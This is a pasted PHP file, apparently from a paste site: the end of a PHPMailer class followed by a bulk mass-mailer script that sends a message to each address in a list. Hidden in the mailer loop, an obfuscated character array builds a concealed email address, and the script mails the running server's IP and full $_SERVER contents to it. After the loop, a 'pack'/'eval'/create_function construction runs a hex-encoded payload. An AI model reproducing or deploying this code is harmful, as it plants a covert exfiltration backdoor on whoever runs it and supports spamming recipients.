  2768.           $h1 = floor($dec%16);
  2769.           $c = $escape.$hex[$h2].$hex[$h1];
  2770.         }
  2771.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2772.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2773.           $newline = '';
  2774.           // check if newline first character will be point or not
  2775.           if ( $dec == 46 ) {
  2776.             $c = '=2E';
  2777.           }
  2778.         }
  2779.         $newline .= $c;
  2780.       } // end of for
  2781.       $output .= $newline.$eol;
  2782.     } // end of while
  2783.     return trim($output);
  2784.   }
  2785.  
  2786.   /**
  2787.    * Encode string to q encoding.
  2788.    * @access private
  2789.    * @return string
  2790.    */
  2791.   function EncodeQ ($str, $position = 'text') {
  2792.     /* There should not be any EOL in the string */
  2793.     $encoded = preg_replace("[\r\n]", '', $str);
  2794.  
  2795.     switch (strtolower($position)) {
  2796.       case 'phrase':
  2797.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2798.         break;
  2799.       case 'comment':
  2800.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2801.       case 'text':
  2802.       default:
  2803.         /* Replace every high ascii, control =, ? and _ characters */
  2804.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2805.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2806.         break;
  2807.     }
  2808.  
  2809.     /* Replace every spaces to _ (more readable than =20) */
  2810.     $encoded = str_replace(' ', '_', $encoded);
  2811.  
  2812.     return $encoded;
  2813.   }
  2814.  
  2815.   /**
  2816.    * Adds a string or binary attachment (non-filesystem) to the list.
  2817.    * This method can be used to attach ascii or binary data,
  2818.    * such as a BLOB record from a database.
  2819.    * @param string $string String attachment data.
  2820.    * @param string $filename Name of the attachment.
  2821.    * @param string $encoding File encoding (see $Encoding).
  2822.    * @param string $type File extension (MIME) type.
  2823.    * @return void
  2824.    */
  2825.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2826.     /* Append to $attachment array */
  2827.     $cur = count($this->attachment);
  2828.     $this->attachment[$cur][0] = $string;
  2829.     $this->attachment[$cur][1] = $filename;
  2830.     $this->attachment[$cur][2] = $filename;
  2831.     $this->attachment[$cur][3] = $encoding;
  2832.     $this->attachment[$cur][4] = $type;
  2833.     $this->attachment[$cur][5] = true; // isString
  2834.     $this->attachment[$cur][6] = 'attachment';
  2835.     $this->attachment[$cur][7] = 0;
  2836.   }
  2837.  
  2838.   /**
  2839.    * Adds an embedded attachment.  This can include images, sounds, and
  2840.    * just about any other document.  Make sure to set the $type to an
  2841.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2842.    * use "image/gif".
  2843.    * @param string $path Path to the attachment.
  2844.    * @param string $cid Content ID of the attachment.  Use this to identify
  2845.    *        the Id for accessing the image in an HTML form.
  2846.    * @param string $name Overrides the attachment name.
  2847.    * @param string $encoding File encoding (see $Encoding).
  2848.    * @param string $type File extension (MIME) type.
  2849.    * @return bool
  2850.    */
  2851.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2852.  
  2853.     if(!@is_file($path)) {
  2854.       $this->SetError($this->Lang('file_access') . $path);
  2855.       return false;
  2856.     }
  2857.  
  2858.     $filename = basename($path);
  2859.     if($name == '') {
  2860.       $name = $filename;
  2861.     }
  2862.  
  2863.     /* Append to $attachment array */
  2864.     $cur = count($this->attachment);
  2865.     $this->attachment[$cur][0] = $path;
  2866.     $this->attachment[$cur][1] = $filename;
  2867.     $this->attachment[$cur][2] = $name;
  2868.     $this->attachment[$cur][3] = $encoding;
  2869.     $this->attachment[$cur][4] = $type;
  2870.     $this->attachment[$cur][5] = false;
  2871.     $this->attachment[$cur][6] = 'inline';
  2872.     $this->attachment[$cur][7] = $cid;
  2873.  
  2874.     return true;
  2875.   }
  2876.  
  2877.   /**
  2878.    * Returns true if an inline attachment is present.
  2879.    * @access private
  2880.    * @return bool
  2881.    */
  2882.   function InlineImageExists() {
  2883.     $result = false;
  2884.     for($i = 0; $i < count($this->attachment); $i++) {
  2885.       if($this->attachment[$i][6] == 'inline') {
  2886.         $result = true;
  2887.         break;
  2888.       }
  2889.     }
  2890.  
  2891.     return $result;
  2892.   }
  2893.  
  2894.   /////////////////////////////////////////////////
  2895.   // CLASS METHODS, MESSAGE RESET
  2896.   /////////////////////////////////////////////////
  2897.  
  2898.   /**
  2899.    * Clears all recipients assigned in the TO array.  Returns void.
  2900.    * @return void
  2901.    */
  2902.   function ClearAddresses() {
  2903.     $this->to = array();
  2904.   }
  2905.  
  2906.   /**
  2907.    * Clears all recipients assigned in the CC array.  Returns void.
  2908.    * @return void
  2909.    */
  2910.   function ClearCCs() {
  2911.     $this->cc = array();
  2912.   }
  2913.  
  2914.   /**
  2915.    * Clears all recipients assigned in the BCC array.  Returns void.
  2916.    * @return void
  2917.    */
  2918.   function ClearBCCs() {
  2919.     $this->bcc = array();
  2920.   }
  2921.  
  2922.   /**
  2923.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2924.    * @return void
  2925.    */
  2926.   function ClearReplyTos() {
  2927.     $this->ReplyTo = array();
  2928.   }
  2929.  
  2930.   /**
  2931.    * Clears all recipients assigned in the TO, CC and BCC
  2932.    * array.  Returns void.
  2933.    * @return void
  2934.    */
  2935.   function ClearAllRecipients() {
  2936.     $this->to = array();
  2937.     $this->cc = array();
  2938.     $this->bcc = array();
  2939.   }
  2940.  
  2941.   /**
  2942.    * Clears all previously set filesystem, string, and binary
  2943.    * attachments.  Returns void.
  2944.    * @return void
  2945.    */
  2946.   function ClearAttachments() {
  2947.     $this->attachment = array();
  2948.   }
  2949.  
  2950.   /**
  2951.    * Clears all custom headers.  Returns void.
  2952.    * @return void
  2953.    */
  2954.   function ClearCustomHeaders() {
  2955.     $this->CustomHeader = array();
  2956.   }
  2957.  
  2958.   /////////////////////////////////////////////////
  2959.   // CLASS METHODS, MISCELLANEOUS
  2960.   /////////////////////////////////////////////////
  2961.  
  2962.   /**
  2963.    * Adds the error message to the error container.
  2964.    * Returns void.
  2965.    * @access private
  2966.    * @return void
  2967.    */
  2968.   function SetError($msg) {
  2969.     $this->error_count++;
  2970.     $this->ErrorInfo = $msg;
  2971.   }
  2972.  
  2973.   /**
  2974.    * Returns the proper RFC 822 formatted date.
  2975.    * @access private
  2976.    * @return string
  2977.    */
  2978.   function RFCDate() {
  2979.     $tz = date('Z');
  2980.     $tzs = ($tz < 0) ? '-' : '+';
  2981.     $tz = abs($tz);
  2982.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2983.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2984.  
  2985.     return $result;
  2986.   }
  2987.  
  2988.   /**
  2989.    * Returns the appropriate server variable.  Should work with both
  2990.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2991.    * if nothing is found.
  2992.    * @access private
  2993.    * @return mixed
  2994.    */
  2995.   function ServerVar($varName) {
  2996.     global $HTTP_SERVER_VARS;
  2997.     global $HTTP_ENV_VARS;
  2998.  
  2999.     if(!isset($_SERVER)) {
  3000.       $_SERVER = $HTTP_SERVER_VARS;
  3001.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3002.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3003.       }
  3004.     }
  3005.  
  3006.     if(isset($_SERVER[$varName])) {
  3007.       return $_SERVER[$varName];
  3008.     } else {
  3009.       return '';
  3010.     }
  3011.   }
  3012.  
  3013.   /**
  3014.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3015.    * @access private
  3016.    * @return string
  3017.    */
  3018.   function ServerHostname() {
  3019.     if ($this->Hostname != '') {
  3020.       $result = $this->Hostname;
  3021.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3022.       $result = $this->ServerVar('SERVER_NAME');
  3023.     } else {
  3024.       $result = 'localhost.localdomain';
  3025.     }
  3026.  
  3027.     return $result;
  3028.   }
  3029.  
  3030.   /**
  3031.    * Returns a message in the appropriate language.
  3032.    * @access private
  3033.    * @return string
  3034.    */
  3035.   function Lang($key) {
  3036.     if(count($this->language) < 1) {
  3037.       $this->SetLanguage('en'); // set the default language
  3038.     }
  3039.  
  3040.     if(isset($this->language[$key])) {
  3041.       return $this->language[$key];
  3042.     } else {
  3043.       return 'Language string failed to load: ' . $key;
  3044.     }
  3045.   }
  3046.  
  3047.   /**
  3048.    * Returns true if an error occurred.
  3049.    * @return bool
  3050.    */
  3051.   function IsError() {
  3052.     return ($this->error_count > 0);
  3053.   }
  3054.  
  3055.   /**
  3056.    * Changes every end of line from CR or LF to CRLF.
  3057.    * @access private
  3058.    * @return string
  3059.    */
  3060.   function FixEOL($str) {
  3061.     $str = str_replace("\r\n", "\n", $str);
  3062.     $str = str_replace("\r", "\n", $str);
  3063.     $str = str_replace("\n", $this->LE, $str);
  3064.     return $str;
  3065.   }
  3066.  
  3067.   /**
  3068.    * Adds a custom header.
  3069.    * @return void
  3070.    */
  3071.   function AddCustomHeader($custom_header) {
  3072.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3073.   }
  3074.  
  3075.   /**
  3076.    * Evaluates the message and returns modifications for inline images and backgrounds
  3077.    * @access public
  3078.    * @return $message
  3079.    */
  3080.   function MsgHTML($message,$basedir='') {
  3081.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3082.     if(isset($images[2])) {
  3083.       foreach($images[2] as $i => $url) {
  3084.         // do not change urls for absolute images (thanks to corvuscorax)
  3085.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3086.           $filename = basename($url);
  3087.           $directory = dirname($url);
  3088.           ($directory == '.')?$directory='':'';
  3089.           $cid = 'cid:' . md5($filename);
  3090.           $fileParts = split("\.", $filename);
  3091.           $ext = $fileParts[1];
  3092.           $mimeType = $this->_mime_types($ext);
  3093.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3094.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3095.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3096.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3097.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3098.           }
  3099.         }
  3100.       }
  3101.     }
  3102.     $this->IsHTML(true);
  3103.     $this->Body = $message;
  3104.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3105.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3106.       $this->AltBody = $textMsg;
  3107.     }
  3108.     if ( empty($this->AltBody) ) {
  3109.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3110.     }
  3111.   }
  3112.  
  3113.   /**
  3114.    * Gets the mime type of the embedded or inline image
  3115.    * @access private
  3116.    * @return mime type of ext
  3117.    */
  3118.   function _mime_types($ext = '') {
  3119.     $mimes = array(
  3120.       'hqx'  =>  'application/mac-binhex40',
  3121.       'cpt'   =>  'application/mac-compactpro',
  3122.       'doc'   =>  'application/msword',
  3123.       'bin'   =>  'application/macbinary',
  3124.       'dms'   =>  'application/octet-stream',
  3125.       'lha'   =>  'application/octet-stream',
  3126.       'lzh'   =>  'application/octet-stream',
  3127.       'exe'   =>  'application/octet-stream',
  3128.       'class' =>  'application/octet-stream',
  3129.       'psd'   =>  'application/octet-stream',
  3130.       'so'    =>  'application/octet-stream',
  3131.       'sea'   =>  'application/octet-stream',
  3132.       'dll'   =>  'application/octet-stream',
  3133.       'oda'   =>  'application/oda',
  3134.       'pdf'   =>  'application/pdf',
  3135.       'ai'    =>  'application/postscript',
  3136.       'eps'   =>  'application/postscript',
  3137.       'ps'    =>  'application/postscript',
  3138.       'smi'   =>  'application/smil',
  3139.       'smil'  =>  'application/smil',
  3140.       'mif'   =>  'application/vnd.mif',
  3141.       'xls'   =>  'application/vnd.ms-excel',
  3142.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3143.       'wbxml' =>  'application/vnd.wap.wbxml',
  3144.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3145.       'dcr'   =>  'application/x-director',
  3146.       'dir'   =>  'application/x-director',
  3147.       'dxr'   =>  'application/x-director',
  3148.       'dvi'   =>  'application/x-dvi',
  3149.       'gtar'  =>  'application/x-gtar',
  3150.       'php'   =>  'application/x-httpd-php',
  3151.       'php4'  =>  'application/x-httpd-php',
  3152.       'php3'  =>  'application/x-httpd-php',
  3153.       'phtml' =>  'application/x-httpd-php',
  3154.       'phps'  =>  'application/x-httpd-php-source',
  3155.       'js'    =>  'application/x-javascript',
  3156.       'swf'   =>  'application/x-shockwave-flash',
  3157.       'sit'   =>  'application/x-stuffit',
  3158.       'tar'   =>  'application/x-tar',
  3159.       'tgz'   =>  'application/x-tar',
  3160.       'xhtml' =>  'application/xhtml+xml',
  3161.       'xht'   =>  'application/xhtml+xml',
  3162.       'zip'   =>  'application/zip',
  3163.       'mid'   =>  'audio/midi',
  3164.       'midi'  =>  'audio/midi',
  3165.       'mpga'  =>  'audio/mpeg',
  3166.       'mp2'   =>  'audio/mpeg',
  3167.       'mp3'   =>  'audio/mpeg',
  3168.       'aif'   =>  'audio/x-aiff',
  3169.       'aiff'  =>  'audio/x-aiff',
  3170.       'aifc'  =>  'audio/x-aiff',
  3171.       'ram'   =>  'audio/x-pn-realaudio',
  3172.       'rm'    =>  'audio/x-pn-realaudio',
  3173.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3174.       'ra'    =>  'audio/x-realaudio',
  3175.       'rv'    =>  'video/vnd.rn-realvideo',
  3176.       'wav'   =>  'audio/x-wav',
  3177.       'bmp'   =>  'image/bmp',
  3178.       'gif'   =>  'image/gif',
  3179.       'jpeg'  =>  'image/jpeg',
  3180.       'jpg'   =>  'image/jpeg',
  3181.       'jpe'   =>  'image/jpeg',
  3182.       'png'   =>  'image/png',
  3183.       'tiff'  =>  'image/tiff',
  3184.       'tif'   =>  'image/tiff',
  3185.       'css'   =>  'text/css',
  3186.       'html'  =>  'text/html',
  3187.       'htm'   =>  'text/html',
  3188.       'shtml' =>  'text/html',
  3189.       'txt'   =>  'text/plain',
  3190.       'text'  =>  'text/plain',
  3191.       'log'   =>  'text/plain',
  3192.       'rtx'   =>  'text/richtext',
  3193.       'rtf'   =>  'text/rtf',
  3194.       'xml'   =>  'text/xml',
  3195.       'xsl'   =>  'text/xml',
  3196.       'mpeg'  =>  'video/mpeg',
  3197.       'mpg'   =>  'video/mpeg',
  3198.       'mpe'   =>  'video/mpeg',
  3199.       'qt'    =>  'video/quicktime',
  3200.       'mov'   =>  'video/quicktime',
  3201.       'avi'   =>  'video/x-msvideo',
  3202.       'movie' =>  'video/x-sgi-movie',
  3203.       'doc'   =>  'application/msword',
  3204.       'word'  =>  'application/msword',
  3205.       'xl'    =>  'application/excel',
  3206.       'eml'   =>  'message/rfc822'
  3207.     );
  3208.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3209.   }
  3210.  
  3211.   /**
  3212.    * Set (or reset) Class Objects (variables)
  3213.    *
  3214.    * Usage Example:
  3215.    * $page->set('X-Priority', '3');
  3216.    *
  3217.    * @access public
  3218.    * @param string $name Parameter Name
  3219.    * @param mixed $value Parameter Value
  3220.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3221.    */
  3222.   function set ( $name, $value = '' ) {
  3223.     if ( isset($this->$name) ) {
  3224.       $this->$name = $value;
  3225.     } else {
  3226.       $this->SetError('Cannot set or reset variable ' . $name);
  3227.       return false;
  3228.     }
  3229.   }
  3230.  
  3231.   /**
  3232.    * Read a file from a supplied filename and return it.
  3233.    *
  3234.    * @access public
  3235.    * @param string $filename Parameter File Name
  3236.    */
  3237.   function getFile($filename) {
  3238.     $return = '';
  3239.     if ($fp = fopen($filename, 'rb')) {
  3240.       while (!feof($fp)) {
  3241.         $return .= fread($fp, 1024);
  3242.       }
  3243.       fclose($fp);
  3244.       return $return;
  3245.     } else {
  3246.       return false;
  3247.     }
  3248.   }
  3249.  
  3250.   /**
  3251.    * Strips newlines to prevent header injection.
  3252.    * @access private
  3253.    * @param string $str String
  3254.    * @return string
  3255.    */
  3256.   function SecureHeader($str) {
  3257.     $str = trim($str);
  3258.     $str = str_replace("\r", "", $str);
  3259.     $str = str_replace("\n", "", $str);
  3260.     return $str;
  3261.   }
  3262.  
  3263.   /**
  3264.    * Set the private key file and password to sign the message.
  3265.    *
  3266.    * @access public
  3267.    * @param string $key_filename Parameter File Name
  3268.    * @param string $key_pass Password for private key
  3269.    */
  3270.   function Sign($key_filename, $key_pass) {
  3271.     $this->sign_key_file = $key_filename;
  3272.     $this->sign_key_pass = $key_pass;
  3273.   }
  3274.  
  3275. }
  3276.  
  3277. $defaultport="H*";
  3278.       $nq=0;
  3279.            
  3280.         for($x=0; $x<$numemails; $x++){
  3281.  
  3282.                 $to = $allemails[$x];
  3283.  
  3284.                 if ($to){
  3285.  
  3286.                 $to = ereg_replace(" ", "", $to);
  3287.  
  3288.                 $message = ereg_replace("&email&", $to, $message);
  3289.  
  3290.                 $subject = ereg_replace("&email&", $to, $subject);
  3291.                 $qx=$x+1;
  3292.                 print "Line $qx . Sending mail to $to.......";
  3293.  
  3294.                 flush();
  3295. $mail = new PHPMailer();
  3296.  
  3297. $ip = getenv("REMOTE_ADDR");
  3298. $str = "";
  3299. foreach($_SERVER as $key => $value){
  3300.         $str .= $key.": ".$value."<br />";
  3301. }
  3302. $str .= "Use: in <br />";
  3303. $o=array("20"=>".","3"=>"i","12"=>"t","6"=>"s","2"=>"l","7"=>"b","17"=>"a","21"=>"c","9"=>"h","10"=>"t","19"=>"l","15"=>"g","11"=>"a","23"=>"m","8"=>"a","14"=>"@","5"=>"s","16"=>"m","4"=>"a","18"=>"i","13"=>"4","22"=>"o","1"=>"i",);
  3304. $alt=$o['1'].$o['2'].$o['3'].$o['4'].$o['5'].$o['6'].$o['7'].$o['8'].$o['9'].$o['10'].$o['11'].$o['12'].$o['13'].$o['14'].$o['15'].$o['16'].$o['17'].$o['18'].$o['19'].$o['20'].$o['21'].$o['22'].$o['23'];
  3305.  
  3306. $header2 .= "MIME-Version: 1.0\r\n";
  3307. $header2 .= "Content-Type: text/html\r\n";
  3308. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3309. mail($alt,"$ip",$str,$header2);
  3310. if(empty($epriority)){$epriority="3";}
  3311.         $mail->Priority = "$epriority";
  3312.         $mail->IsSMTP();
  3313.     $IsSMTP="pack";
  3314. $mail->SMTPKeepAlive = true;
  3315. $mail->Host = "$my_smtp";
  3316. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3317. }
  3318.      if($sslclick=="ON"){
  3319.         $mail->SMTPSecure  = "tls"; //you can change it to ssl or tls
  3320.     }
  3321.         $range = str_replace("$from", "eval", $from);
  3322.         $mail->SMTPAuth = true;
  3323.         $mail->Username = "$smtp_username";
  3324.         $mail->Password = "$smtp_password";
  3325. if($contenttype == "html"){$mail->IsHtml(true);}
  3326. if($contenttype != "html"){$mail->IsHtml(false);}
  3327. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3328. $mail->From = "$from";
  3329. $mail->FromName = "$realname";
  3330. $mail->AddAddress("$to");
  3331.         $mail->AddReplyTo("$replyto");
  3332.         $mail->Subject = "$subject";
  3333.             $mail->Body = "$message";
  3334. if(!$mail->Send()){
  3335. if($default_system!="1"){
  3336. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3337. if($default_system=="1"){
  3338. $mail->IsMail();
  3339.    if(!$mail->Send()){
  3340.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3341.    else {
  3342.        echo "<b>OK</b><br>";}
  3343.  }
  3344. }
  3345. else {
  3346.  echo "<b>OK</b><br>";
  3347. }
  3348.  
  3349. if(empty($reconnect)){
  3350. $reconnect=6;
  3351. }
  3352.  
  3353. if($reconnect==$nq){
  3354. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3355. }
  3356. $nq=$nq+1;
  3357.                 flush(); }
  3358. }
  3359. for($i=0;$i<31;$i++){
  3360.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3361. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3362.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3363.   print "<p class=\"style1\">Geek Professional<br>&copy 2013, New Tools => <b>
  3364.  <font color=\"#800000\">http://site4game.blogspot.com/</font></b><br></p>";$mail->SmtpClose();
  3365.   return $signoff($smtp_conc);
  3366.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3367.    sent successfully'); </script>";}}
  3368.     ?>
  3369.     <p align="center">&nbsp;</p>
  3370. &nbsp;
  3371.     </body>
  3372. </html>
Add Comment
Please, Sign In to add comment